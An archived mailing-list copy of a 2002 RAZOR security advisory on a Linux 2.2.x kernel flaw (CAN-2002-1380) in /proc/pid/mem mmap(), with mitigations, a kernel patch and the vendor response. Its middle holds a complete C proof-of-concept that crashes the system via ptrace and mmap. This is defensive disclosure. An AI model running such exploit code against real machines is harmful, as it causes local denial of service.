86908 2002-12-17 22:18 /121 rader/ Michal Zalewski <lcamtuf@ghettot.org>
Importerad: 2002-12-17 22:18 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: vulnwatch@vulnwatch.org
Extern mottagare: full-disclosure@netsys.com
Mottagare: Bugtraq (import) <2800>
Ärende: RAZOR advisory: Linux 2.2.xx /proc/<pid>/mem mmap() vulnerability
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RAZOR advisory: Linux kernel 2.2.x /proc/pid/mem mmap() vulnerability
Issue Date : 12/17/2002
Contact : Michal Zalewski <mzalewsk@razor.bindview.com>
CVE number : CAN-2002-1380
Topic:
A locally exploitable system crash vulnerability is present in the
Linux kernel, versions 2.2.x. The system is likely to hang and
require a manual reboot.
Affected Systems:
All Linux systems running 2.2.x kernels. The functionality
required to exploit this vulnerability is not present in the 2.4.x
line as of today, and those systems are not immediately vulnerable.
Details:
The /proc/pid/mem interface is designed to enable one application
to, under certain conditions, access the memory of another
application in a convenient way. This feature is very useful for
developers or administrators who wish to debug or analyze programs
running on their system. One of ways to access the memory is by
directly mapping pages using mmap().
A vulnerability is present in the way this process is
validated. It is possible for the user to use mmap() interface to
request access to memory pages that are non-readable to the traced
process itself. The user can pass PROT_READ parameter to this call
to request read access to this mapping. Because of insufficient
validation, he will be granted a map marked as readable. From now
on, the user can request his instance to be read by the
kernel. Doing so will result in crashing the system.
The problem does not affect 2.4 kernels because, as of today,
mmap() on /proc/pid/mem is not supported; mmap() interface is no
longer available on 2.4 because of implementation reliability
concerns.
Proof of concept code:
#define PAGES 10
#include <asm/page.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ptrace.h>
int main() {
int ad1,ad2,zer,mem,pid,i;
zer=open("/dev/zero",O_RDONLY);
ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
pid=getpid();
if (!fork()) {
char p[64];
ptrace(PTRACE_ATTACH,pid,0,0);
sleep(1);
sprintf(p,"/proc/%d/mem",pid);
mem=open(p,O_RDONLY);
ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
write(1,(char*)ad2,PAGES*PAGE_SIZE);
}
sleep(100);
return 0;
}
Mitigating factors:
In order to successfully exploit the vulnerability, the attacker
would need to have the right to execute code of his choice on the
local machine.
Restricting ptrace() or /proc access can help mitigate the
risk. Several security-enhancing patches such as Openwall or
grsecurity offer solutions to implement such restrictions.
Workaround / fix:
There is no immediate fix available. Kernel developers suggest to
disable mmap() functionality on /proc/pid/mem to address the
issue. The following patch can be used:
--- linux-2.2/fs/proc/mem.c.old Sun Mar 25 08:30:58 2001
+++ linux-2.2/fs/proc/mem.c Tue Dec 10 14:29:05 2002
@@ -323,7 +323,7 @@
NULL, /* mem_readdir */
NULL, /* mem_poll */
NULL, /* mem_ioctl */
- mem_mmap, /* mmap */
+ NULL, /* mmap */
NULL, /* no special open code */
NULL, /* flush */
NULL, /* no special release code */
Administrators who prefer to patch their systems without the need
to recompile and reboot, and do not rely on having ptrace()
interface available to all users, can deploy a loadable module
that disables ptrace() for non-privileged accounts instead. One of
such modules can be obtained at
http://www.securiteam.com/tools/5SP082K5GK.html .
Please note that this third-party kernel module is not authored
nor endorsed by RAZOR, and that compilation and installation of
kernel modules should be performed by experienced users only.
Vendor Response:
Because of implementation reliability issues, Linux developers
decided to drop /proc/pid/mem mmap() functionality in 2.2
kernels. There will be no fix for the issue that preserves the
functionality.
Upcoming 2.2.24 release will address this and other bugs in 2.2
kernels.
(86908) /Michal Zalewski <lcamtuf@ghettot.org>/(Ombruten)